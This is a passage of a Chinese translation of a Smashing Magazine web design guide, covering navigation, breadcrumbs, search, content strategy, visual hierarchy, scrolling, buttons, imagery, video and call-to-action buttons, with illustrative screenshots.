1. [内容策略 Content Strategy](#content-strategy) 2. [页面结构 Page Structure](#page-structure) 3. [视觉层级 Visual Hierarchy](#visual-hierarchy) 4. [滚动行为 Scrolling Behavior](#scrolling-behavior) 5. [内容加载 Content Loading](#content-loading) 6. [按钮 Buttons](#buttons) 7. [图像 Imagery](#图片来源ry) 8. [视频 Video](#video) 9. [CTA 按钮 Call-to-Action Buttons](#call-to-action-buttons) 10. [网页表单 Web Forms](#web-forms) 11. [动画 Animation](#animation) **移动端支持 Mobile Considerations** 1. [响应式网页设计 Practice Responsive Web Design](#practice-responsive-web-design) 2. [从鼠标点击到手势 Going From Clickable to Tappable](#going-from-clickable-to-tappable) **无障碍设计 Accessibility** 1. [弱视用户 Users With Poor Eyesight](#users-with-poor-eyesight) 2. [色盲用户 Color Blind Users](#color-blind-users) 3. [盲人用户 Blind Users](#blind-users) 4. [键盘流用户体验 Keyboard-Friendly Experience](#keyboard-friendly-experience) **测试 Testing** 1. [迭代测试 Iterative Testing](#iterative-testing) 2. [网页加载时间测试 Test Page-Loading Time](#test-page-loading-time) 3. [A/B 测试 A/B Testing](#a-b-testing) [**开发者交接 Developer Handoff**](#developer-handoff) [**结语 Conclusion**](#conclusion) ### Designing The User Journey 设计用户旅程 #### Information Architecture 信息架构 “信息架构”(IA)这个术语通常被误用来表示网站的目录结构。但其实这是不正确的,尽管网站菜单是信息架构的一部分,但它也仅仅是一个方面。 信息架构指,将信息以清晰逻辑的方式组织。这种结果遵循一个目标:**帮助用户在复杂信息集合中导航**。好的信息架构提供了与用户预期一致的层级结构。然而优秀的层级结构,直观的导航都不是偶然出现的,而是用户调研和用户测试的结果。 调研用户需求的方法众多。通常来说,信息架构多用于用户调研(如用户访谈,卡片分类法):调研人员倾听用户期望,观察潜在用户如何将复杂的信息组进行归类。信息架构同样需要可用性测试的结果,来看用户是否可以方便地导航。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/37-A-Comprehensive-Guide-To-Web-Design-800w-opt.jpg)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/37-A-Comprehensive-Guide-To-Web-Design-800w-opt.jpg) 卡片分类法简单实操,志于帮设计人员弄清:如何最优地基于用户输入将内容组织分类。信息架构与卡片分类法相似,都能典型地呈现出清晰的模式。(图片来源: [FosterMilo](http://www.fostermilo.com/articles/card-sorting-with-creative-albuquerque)) 在设计网页界面前,往往要进行例行步骤:设计者基于用户访谈设计网站导航结构,用卡片分类法测试该结构是否符合用户的思维模式,用户体验研究者用“树形测试法”对导航结构进行验证。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/36-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/36-A-Comprehensive-Guide-To-Web-Design-large-opt.png) 树形测试法能够可靠地验证,用户能否根据现有目录结构进行导航。 (图片来源: [Nielsen Norman Group](https://www.nngroup.com/articles/tree-testing/)) ([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/36-A-Comprehensive-Guide-To-Web-Design-large-opt.png)) #### Global Navigation 全局导航 导航是可用性的基石。如果用户在网站中难以定位,无所适从,网站再怎么好也没用。网站导航设计需要遵从下列原则: * **简易性** 导航应以这样的方式设计,访问者到达目的地点击次数越少越好。 * **清晰性** 用户不需要猜测导航选项的含义,每一个菜单项对于来访者来说不言自明。 * **一致性** 对于整个网站的所有页面,导航体系必须统一。 设计导航时需要考虑如下几点: * **根据用户需求选择导航模式** 导航设计必须遵循主流用户的需求。目标用户群期望某种特定类型的网站交互,那就以你独到的方式,让用户满足预期吧~例如:如果大部分用户都不知道汉堡包图标是啥意思,就避免使用该图标展示导航。 * **将导航选项区分优先次序** 有一种简单的方法来区分导航选项优先级:将用户行为任务按照不同优先级排序(高级,中级,低级),然后在布局中突出显示高优先级的用户行为路径,以及被频繁访问的节点。 * **使重要选项可见** 正如 [Jakob Nielsen](https://www.nngroup.com/articles/ten-usability-heuristics/) 所言,识别出某事比回忆起某事容易。为了减小用户记忆负担,将所有重要菜单项设为一直可见。这些最重要的菜单项应该一直可用,而不仅在我们预期用户需要的时候展现。 * **传达当前位置信息** “我在哪”是用户进行有效导航时需要回答的最基本问题。许多网站有此常见错误:不显示用户的当前位置,因而如何定位的问题也值得深究。 #### Links and Navigation Options 链接与菜单项 链接、菜单项是导航过程中的要素,直接作用于用户旅程,这些交互元素遵循下列规律: * **区别站内链接与外部链接** 用户期望站内链接和外部链接为不同的交互行为。所有内部链接应当在当前标签页打开,这样用户便可以在当前窗口使用“后退”按钮。如果决定在新窗口打开外部链接,应当在自动打开新标签页/新窗口前提醒用户。这可能需要声明(在新窗口打开),将其以文本的形式添加到链接文本中。 * **标记已经访问过的页面** 如果访问过的链接没有修改颜色标记,用户很可能无意中重复访问。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/20-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/20-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)
    用户通过颜色标记,识别出曾访问过的页面,避免无意重复访问同一页面。 * **认真核实所有链接** 当用户点击链接却返回 404 错误时,会极其不爽。当访问者浏览内容时,期望所有的链接都指向链接所指,而不是其它不相关页面,更不能容忍 404 页面。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/11-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/11-A-Comprehensive-Guide-To-Web-Design-preview-opt.png) #### “Back” Button in Browser 浏览器的“后退”按钮 后退按钮是浏览器上第二重要的界面控制(仅次于最最重要的 URL 地址栏),要确认“后退”按钮符合用户预期。当用户跟着链接来到某页面,然后点击“后退”键时,他们期望恰好返回到前一网页的离开的位置。**尤其要避免点击“后退”按钮却回到了原页面顶端的情况**。失去用户原先的焦点会使用户被迫重复浏览已读内容。由于没有恰好“后退”原位,用户会迅速失去耐心。 #### Breadcrumbs 面包屑导航 面包屑导航是系列链接的集合,用于索引网站的当前位置。它是一种次级定位规则,常用于显示用户当前在网站的位置。 虽然该元素不需要过多解释,有几点还是值得注意: * **不要使用面包屑作为主导航的替代品** 主导航是引导用户的主导元素,然而面包屑只是支持元素。使用面包屑而非其他元素作为主导航,通常意味着导航设计较差。 * **使用箭头作为分隔符,而非斜杠。清晰分离导航层级** 推荐使用大于号(>)或右箭头(→),因为此类符号包含方向信息。不推荐在电商网站中使用左斜杠(/)作为分隔符。如果你非要用的话,请确保商品类别不包含斜杠。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/27-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/27-A-Comprehensive-Guide-To-Web-Design-large-opt.png) 此面包屑的层级关系简直难以分辨 ([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/27-A-Comprehensive-Guide-To-Web-Design-large-opt.png)) #### Search 搜索栏 有些用户为了某特定目标访问网站,他们并不想使用导航功能。此时用户只想在搜索栏输入文字,提交搜索查询,返回他们寻找的页面。 设计搜索栏时考虑下列基本规则: * **将搜索栏放在用户所期望的地方** 下图是基于 A. Dawn Shaikh 和 Keisi Lenz 的研究,通过对 142 名参与者的问卷调查,画出的用户对于搜索栏的期望位置。这一研究发现,搜索栏的最佳摆放位置是网站的左上角和右上角。这样用户通过"F-型"浏览模式可以轻易找到搜索栏。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/34-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/34-A-Comprehensive-Guide-To-Web-Design-preview-opt.png) * **富文本网站中突出显示搜索功能** 如果搜索功能是你的网站重要功能,显著地显示出来,因为这可以是用户探索的最快路径。 * **合理设计输入栏尺寸** 输入框太窄是设计者的常犯错误。诚然,用户可以在短文本框中输入长文字,但是一次只能显示部分文字。这固然是不好的设计,因为不能同一时刻显示整个查询条件。实际上,当搜索栏很短时,用户被迫使用短小,模糊的查询条件,因为搜索条件太长看不到。Nielsen Norman Group 推荐使用 [27-字符输入框](https://www.nngroup.com/articles/top-ten-guidelines-for-homepage-usability/) ,适用于 90% 的查询。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/35-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/35-A-Comprehensive-Guide-To-Web-Design-800w-opt.png) * **在所有页面放置搜索栏** 在所有页面放置搜索栏的好处是,当用户不能定位他们想要查看的内容时,便会尝试搜索功能,无论他们当时在页面哪个地方。 ### Designing Individual Pages 设计独立页面 #### Content Strategy 内容策略 内容策略的重点在于页面对象的设计。理解页面目标,根据目标定位绘制页面。 我们提出如下提高页面内容理解的实践技巧: * **避免信息过载** 信息过载是非常严重的问题,它阻碍了用户交互和用户决策,这是由于用户感到信息量多到难以消化。减小信息过载有一些简单的方法。最常用的方法便是组块算法 —— 分解内容为更小的内容块,这有助于用户更好地理解整个流程。结账表单便是一个很好的例子。在同一时刻最多显示五到七个输入框,将整个结账流程分解在不同页面,渐进地按需展示字段。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/43-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/43-A-Comprehensive-Guide-To-Web-Design-large-opt.png) (图片来源: [Witteia](https://twitter.com/witteia)) ([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/43-A-Comprehensive-Guide-To-Web-Design-large-opt.png)) * **避免生僻词和专业术语** 页面上任意一个生僻难懂的术语都会激增用户的认知负载。最安全的策略是将受众定位所有阶段用户,选择清晰易懂的词语以适应不同类组的用户。 * **长段落细分** 对于信息过载这一点,除非网站定位主打内容消费,否则在设计时要尽量避免长段文字。举例说明,如果你想写个服务介绍或产品介绍,尽量一步一步来,慢慢展开细节。使用短小、视野内可见的模块以让用户逐步探索。根据 [Robert Gunning](https://www.amazon.com/How-Take-Fog-Business-Writing/dp/0850132320) 的《看透商业评论编写》,一句话字数最好在 20 个字以内。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/29-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/29-A-Comprehensive-Guide-To-Web-Design-800w-opt.png) (图片来源: [The Daily Rind](http://www.dailyrindblog.com/wp-content/uploads/2013/04/Presentations_UsePlainEnglish.png)) * **避免所有字母大写** 英文内容中,全字母大写的模式,仅适用于短小文字如缩略语或 Logo。避免对长单词使用全大写模式:段落、表格标注、错误提示、通知信息等。正如 [Miles Tinker](http://en.wikipedia.org/wiki/Miles_Tinker) 的 《字体的可读性》所说,全字母大写会使阅读速度骤减,且多数读者会感到全字母大写的可读性较低。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/24-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/24-A-Comprehensive-Guide-To-Web-Design-preview-opt.png) 英文全大写使读者感到阅读困难。 #### Page Structure 页面结构 一个结构恰当的页面会使用户界面布局上的元素清晰。尽管我们没有适用于所有场景的统一的尺寸标准,遵循下列几个指导方针有助于设计一个靠谱的页面结构: * **使结构具有可预见性** 设计要与用户预期保持一致,在设计时考虑相似类型的网站,看看它们都使用了什么元素,摆放在哪里。尽量使用目标受众熟悉的视觉模式。 * **使用网格布局** 网格布局将页面分割成几个主要区块,根据元素大小、位置定义元素之间的关系。使用网格布局,可以轻松的将众多元素组合成高内聚型的布局。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/15-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/15-A-Comprehensive-Guide-To-Web-Design-preview-opt.png) 网格和布局系统是设计届的传统,Adobe XD 的网格布局帮助设计稿适用于多种屏幕尺寸的设备并保持一致性,定制化网格系统以调整元素间比例。 * **使用低保真的线框稿图避免杂乱** 乱七八糟的杂项使界面超负荷难以理清。每个新增的按钮,图片,甚至文字都会增加页面的复杂度。在使用真实元素构造页面前,先画简单的线框原型并分析,删除所有非必须元素。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/06-A-Comprehensive-Guide-to-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/06-A-Comprehensive-Guide-to-Web-Design-large-opt.png) 使用 [Adobe XD](http://www.adobe.com/products/xd.html) 绘制的低保真原型图 (图片来源: [Tim Hykes](http://timhykes.com/lcblog.php)) ([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/06-A-Comprehensive-Guide-to-Web-Design-large-opt.png)) #### Visual Hierarchy 视觉层级 人们通常更喜欢快速浏览页面,而不是细细品味每一个细节。因此,当来访者想找某个内容或者完成某个任务时,往往会扫视页面寻找目标。此时,设计师对视觉层级关系的良好呈现就帮用户了一个大忙。视觉层级特指:元素的展示方式能够表现其重要程度。简单来说就是,用户第一眼该看哪儿,第二眼该看哪。一个好的视觉层级使页面浏览更加便捷。 * **遵循本能的浏览布局** 作为设计师,我们可以在很多方面操控用户浏览页面的焦点。为访客的眼动设定正确的浏览路径,我们可以遵循两类本能的浏览布局:[“F-形”布局](https://uxplanet.org/f-shaped-pattern-for-reading-content-80af79cd3394) 和 [“Z-形”布局](https://uxplanet.org/z-shaped-pattern-for-reading-web-content-ce1135f92f1c). 对于富文本页面,如文章、搜索结果,“F-形”布局效果更好;“Z-形”布局更适用于非文本式页面。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/09-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/09-A-Comprehensive-Guide-To-Web-Design-large-opt.png) CNN 使用的“F-形”布局 ([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/09-A-Comprehensive-Guide-To-Web-Design-large-opt.png)) [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/40-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/40-A-Comprehensive-Guide-To-Web-Design-large-opt.png) Basecamp 使用的“Z-形”布局 ([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/40-A-Comprehensive-Guide-To-Web-Design-large-opt.png)) * **重要元素视觉优先** 使页面标题、登录表单、导航栏、这类重要内容成为焦点,供用户更好地使用。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/01-A-Comprehensive-Guide-to-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/01-A-Comprehensive-Guide-to-Web-Design-large-opt.png) 图中 Learn More About Brains 按钮(了解更多关于大脑产品)突出吸引用户行为,突出显示。([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/01-A-Comprehensive-Guide-to-Web-Design-large-opt.png)) * **画原型使视觉层级更清晰** 原型设计(Mockup)帮助设计师通览整个布局,看到页面填充真实数据之后可能的样子。而且,在原型中重组元素比开发过程中再重新排列要简单得多。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/28-A-Comprehensive-Guide-To-Web-Design-800w-opt.jpg)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/28-A-Comprehensive-Guide-To-Web-Design-large-opt.jpg) 使用 Adobe XD 设计原型。 (图片来源: [Coursetro](https://coursetro.com/posts/design/28/Website-Design-in-Adobe-XD-Tutorial)) ([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/28-A-Comprehensive-Guide-To-Web-Design-large-opt.jpg)) #### Scrolling Behavior 滚动行为 很多网页设计者有个固执的错误观念:用户不会使用滚动条。我再重申一次:如今,[人人都会用滚动条](http://www.hugeinc.com/ideas/perspective/everybody-scrolls)! 提高网页滚动体验可以通过以下几点: * **鼓励用户的滚动行为** 尽管用户实际在页面加载时就开始[滚动滑轮](http://www.lukew.com/ff/entry.asp?1946),页面顶端的内容同样非常重要。顶端的内容限定了用户对网站的印象和期望。用户的确会向下拉滚动条,但仅仅会发生在非隐藏内容足够吸引人。因而,记得将最引人注目的内容放在页面顶端: * **展示好的[网站介绍](https://www.nngroup.com/articles/blah-blah-text-keep-cut-or-kill/).** 优秀的网站简介创造了良好的内容场景,回答用户最初的疑问“这是干什么的网站?” * **使用[吸引人的影像](https://www.smashingmagazine.com/2017/01/more-than-just-pretty-how-图片来源ry-drives-user-experience/)** 用户会对相关的图片影像特别感兴趣。 * **固定导航栏** 当你需要建一个长页面时,记住:用户需要有定位感(当前位置)和方向感(访问其他路径)。长页面会使用户有定位困难。当页面很深时,如果下滑时顶部导航消失,用户必须持续向上滑动返回顶端。 显然, [粘性导航栏](https://www.smashingmagazine.com/2012/09/sticky-menus-are-quicker-to-navigate/) 既可以显示当前位置,又可以使屏幕长时间保持一致性。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/14-A-Comprehensive-Guide-To-Web-Design.gif)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/14-A-Comprehensive-Guide-To-Web-Design.gif) 滚动触发的粘性导航栏 (图片: Zenman) * **加载新内容时提供视觉反馈** 当网页是动态加载时,视觉反馈异常重要(比如新闻流)。由于滚动时内容需要很快加载(不能超过 10 秒 ),你可以使用[加载中](https://www.smashingmagazine.com/2016/12/best-practices-for-animated-progress-indicators/#types-of-progress-indicators)动画表示系统正在处理。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/04-A-Comprehensive-Guide-to-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/04-A-Comprehensive-Guide-to-Web-Design-800w-opt.png) 细节动画(例:Tumblr的加载提示)告诉用户更多内容正在加载。 * **不要绑架用户的滚动行为** 对滚动行为进行绑架最烦人了,由于这种行为从用户手里抢夺了控制权,使其对滚动行为无法预知。设计网站时,请让用户能够主动控制浏览和滚动行为。 [![Tumbler’s signup page uses scroll hijacking.](https://www.smashingmagazine.com/wp-content/uploads/2017/11/tumblr-blogs-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/tumblr-blogs-large-opt.png) Tumbler 的注册页对用户的滚动条进行绑架 ([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/tumblr-blogs-large-opt.png)) #### Content Loading 内容加载 内容加载得多说几句才讲得清楚些。尽管立即响应是最好的,但在某些场景下你的网站需要多点时间来为访客传递内容。网络链接差会减慢反应速度,或者有些操作需要多点时间来完成。但是不论这些行为是由什么原因造成的,网站必须看起来是快速响应的。 * **确保常态加载不需要过多时间** 网站访客的注意力范围和耐心都较低。根据 [Nielsen Norman Group 的研究](https://www.nngroup.com/articles/powers-of-10-time-scales-in-ux/),10 秒大概是用户在同一任务上集中注意力的极限了。当访客不得不等待网站加载时,他们会非常沮丧,如果响应速度不够快用户很可能马上关窗口走人。 * **加载时显示网页骨架** 许多网站使用进度条显示数据加载进度。进度条背后的动机很好(提供视觉反馈),但有时适得其反。正如 [Luke Wroblewski 提到的](http://www.lukew.com/ff/entry.asp?1797),“进度条从定义上就提示用户一个事实:给我等着。就好像看着钟表滴答倒数 —— 当你等待时会感到时间过得更慢。进度条有一个很棒的替代元素:页面框架。这些容器在本质上可看作是网站空白页面的临时版本,信息可以逐渐加载进容器。使用页面框架替代进度条,设计师能聚焦用户的注意力于实际的页面加载,为之后将要加载的页面搭建用户的心理预期。而且这种方式给用户创造了一种事件发生的很快的幻觉。因为信息是逐步加载显示的,用户在等待过程中能切身感到,网站正在一步步处理页面并显示。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/10-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/10-A-Comprehensive-Guide-To-Web-Design-large-opt.png) Facebook 使用网站骨架,填充页面时内容逐步加载。([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/10-A-Comprehensive-Guide-To-Web-Design-large-opt.png)) #### Buttons 按钮 按钮在创建流畅的交互体验中至关重要。基本实践中值得注意以下几点: * **确保可点击的元素看起来可以点击** 使用按钮和其他交互元素时,需要考虑设计如何传递可用性信息。用户如何将设计元素理解为按钮?表单应当遵循如下功能:对象的表现形式反映了其使用方式。视觉元素看起来像链接或者按钮,但实际上不能点击(例如:下划线文字不是链接、方形按钮形状但是不能点击)诸如此类情况会困扰到用户。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/08-A-Comprehensive-Guide-to-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/08-A-Comprehensive-Guide-to-Web-Design-large-opt.png) 左上角的橙色框是按钮吗? 不是,但其形状和标签让它看起来像一个按钮。 ([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/08-A-Comprehensive-Guide-to-Web-Design-large-opt.png)) * **基于实际用途命名按钮** 可交互的界面元素命名应该和它的实际用途一致,以符合用户的期望。当用户知道这个按钮的作用时,会用起来更舒适。含糊的标签例如“提交”,或者抽象的标签例如下图中的例子,都无法给用户提供交互的有效信息。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/12-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/12-A-Comprehensive-Guide-To-Web-Design-preview-opt.png) 别让用户对界面元素产生疑惑 (图片来源: [UX Matters](http://www.uxmatters.com/mt/archives/2012/05/7-basic-best-practices-for-buttons.php)) * **设计按钮时保持一致性** 不论是否是下意识地,用户都会记住网站的细节。当浏览网站时,他们会将特定形状和功能联系到一起。因此,一致性不仅有利于设计美观,且增强了用户的熟悉感。下图完美例证了这一点。在应用的同一模块(例如系统工具栏)使用三种不同的形状不仅很迷惑用户,而且看起来很不专业。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/31-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/31-A-Comprehensive-Guide-To-Web-Design-preview-opt.png) 保持一致 #### Imagery 图像化 俗话说得好,一张图片胜过千言万语。人类都是视觉动物,几乎能够瞬间处理视觉信息;我们所感知的 [90% 的信息](http://www.webmarketinggroup.co.uk/blog/why-every-seo-strategy-needs-infographics/) 都是通过视觉传达给大脑。图像是捕捉用户注意力以区分产品的最有力方式。相比于一段精心设计的文本,一张图片能够传递给读者更多信息。而且,图像能跨语言障碍,表达文字所不能表述的内容。 下列原则可以帮助你在网站设计中融入图像元素: * **确保图像相关性** 设计中最怕传递错误信息的图像。选择最符合你产品目标的图像,确保它与上下文相关。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/space-image25-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/space-图片来源25-large-opt.png) 与主题无关的图像引起用户的困惑 ([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/space-图片来源25-large-opt.png)) * **避免使用通用的人像** 在设计中使用人脸是吸引用户的有效方式。看到人脸能让用户感觉与他们联系在一起,而不仅仅是在销售产品。然而,许多企业网站使用通用的照片来建立信任感是非常糟糕的。[可用性测试](https://articles.uie.com/deciding_when_graphics_help/)表明这样的照片很难增加设计的价值,反倒会使用户体验变差。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/46-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/46-A-Comprehensive-Guide-To-Web-Design-large-opt.png) 不真实的图像给用户带来一种虚伪的感觉。 ([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/46-A-Comprehensive-Guide-To-Web-Design-large-opt.png)) * **使用高质量不失焦的图片资源** 网站使用资源质量很大程度上影响着用户印象和对服务的期望。确保图像大小在各平台合比例显示。图像不能出现像素化,因而要测试各种比例、各种分辨率的设备。以原始的长宽比例显示图像。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/45-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/45-A-Comprehensive-Guide-To-Web-Design-large-opt.png) 低质量的照片 VS 高质量不失焦的图片 (图片来源: [Adobe](https://blogs.adobe.com/creativecloud/more-than-just-pretty-how-图片来源ry-drives-ux/)) ([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/45-A-Comprehensive-Guide-To-Web-Design-large-opt.png)) #### Video 视频 随着网速的提快,视频越来越流行,尤其考虑到视频[延长了用户停留时长](https://www.forbes.com/sites/forbesagencycouncil/2017/02/03/video-marketing-the-future-of-content-marketing/). 如今视频无处不在:PC 端,平板端,移动端。将视频有效利用起来,它能最有效的吸引用户 —— 视频传递更多情感,更用心的带给用户产品服务体验。 * **将视频设置为默认静音,用户可以选择性开启音量** 当用户访问一个页面时,并没有对声音的预期。而且大多数用户并不会使用耳机,这时他们会紧张的想要快点关闭声音。甚至在大多数情况下,一听到声音立即关闭网站。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/22-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/22-A-Comprehensive-Guide-To-Web-Design-large-opt.png) Facebook 的视频会在用户访问时自动播放,除非用户主动打开声音,否则会默认静音。([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/22-A-Comprehensive-Guide-To-Web-Design-large-opt.png)) * **广告视频越短越好** 根据 [D-Mak Productions](http://dmakproductions.com/blog/what-is-the-ideal-length-for-web-video-production/) 的研究,短视频对大多数用户更有吸引力。因此,最好将商业视频保持在两到三分钟的范围内。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/26-A-Comprehensive-Guide-To-Web-Design-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/26-A-Comprehensive-Guide-To-Web-Design-preview-opt.png) (图片来源: [Dmakproductions](https://dmakproductions.com/blog/what-is-the-ideal-length-for-web-video-production/)) * **提供内容的其它展示方式** 如果视频是内容的唯一消费方式,这会限制到那些看不懂,听不懂的用户。建议提供字幕、完整的视频文字版作为辅助选项。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/38-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/38-A-Comprehensive-Guide-To-Web-Design-large-opt.png) 字幕使用户更易获取视频内容。 (图片来源: [TED](https://www.ted.com)) ([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/38-A-Comprehensive-Guide-To-Web-Design-large-opt.png)) #### Call-to-Action Buttons CTA 按钮 召唤行动 Calls to action (CTA) 指的是引导用户实现转化率的按钮。CTA 重点在于引导用户执行我们期望的行为。 常见的CTA的例如: * 开始试用 * 立即下载查看 * 立即注册获取最新资讯 * 开始咨询 设计 CTA 按钮时需要考虑以下几点: * **尺寸** CTA 按钮应该足够大,稍远距离也能看见;但又不能太大,会影响到用户对其它内容的关注。想要确认 CTA 按钮是该页面上最显著的元素,试一下五秒钟测试法:浏览网页五秒钟,然后记录下你还记得的内容。 如果 CTA 被你记下来了,那它的大小合适~ * **视觉优先** CTA 按钮的颜色很大程度上影响着用户的注意力。通过颜色增加视觉冲击力,可以让某些按钮比其他按钮更突出。对比色非常适合用于 CTA,使其特别醒目。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/42-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/42-A-Comprehensive-Guide-To-Web-Design-large-opt.png) 火狐页面上绿色的 CTA 按钮非常醒目,立马抓住用户眼球。([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/42-A-Comprehensive-Guide-To-Web-Design-large-opt.png)) * **对比空间** CTA 按钮周围的空间大小也很重要。白色(或对比色)的空间为按钮创建了留白区域,将按钮与界面中其他元素分割开。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/16-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/16-A-Comprehensive-Guide-To-Web-Design-large-opt.png) 旧版本的 Dropbox 主页是使用对比空间来突出 CTA 的很好例证。深蓝色的“免费注册”CTA 按钮与淡蓝色的背景形成对比反差。([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/16-A-Comprehensive-Guide-To-Web-Design-large-opt.png)) * **基于行为的文案** 编写吸引用户行动的文案。以“开始”,“获取”或“加入”这类动词开头。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/30-A-Comprehensive-Guide-To-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/30-A-Comprehensive-Guide-To-Web-Design-large-opt.png) Evernote 的 CTA 虽然常见但也最有效得传达了行动。 ([点击查看大图](https://www.smashingmagazine.com/wp-content/uploads/2017/11/30-A-Comprehensive-Guide-To-Web-Design-large-opt.png)) **提示:** 你可以通过模糊效果快速测试 CTA。模糊测试是判断用户的眼神是否会落在想要位置的最便捷方法。将网页截图在 [Adobe XD](https://helpx.adobe.com/experience-design/help/background-blur.html) 中应用模糊效果(参考下图示例)。看看页面的模糊版本,哪些元素会突出显示?如果这不是你想要的效果,再次修改。 [![](https://www.smashingmagazine.com/wp-content/uploads/2017/11/02-A-Comprehensive-Guide-to-Web-Design-800w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/11/02-A-Comprehensive-Guide-to-Web-Design-large-opt.png)
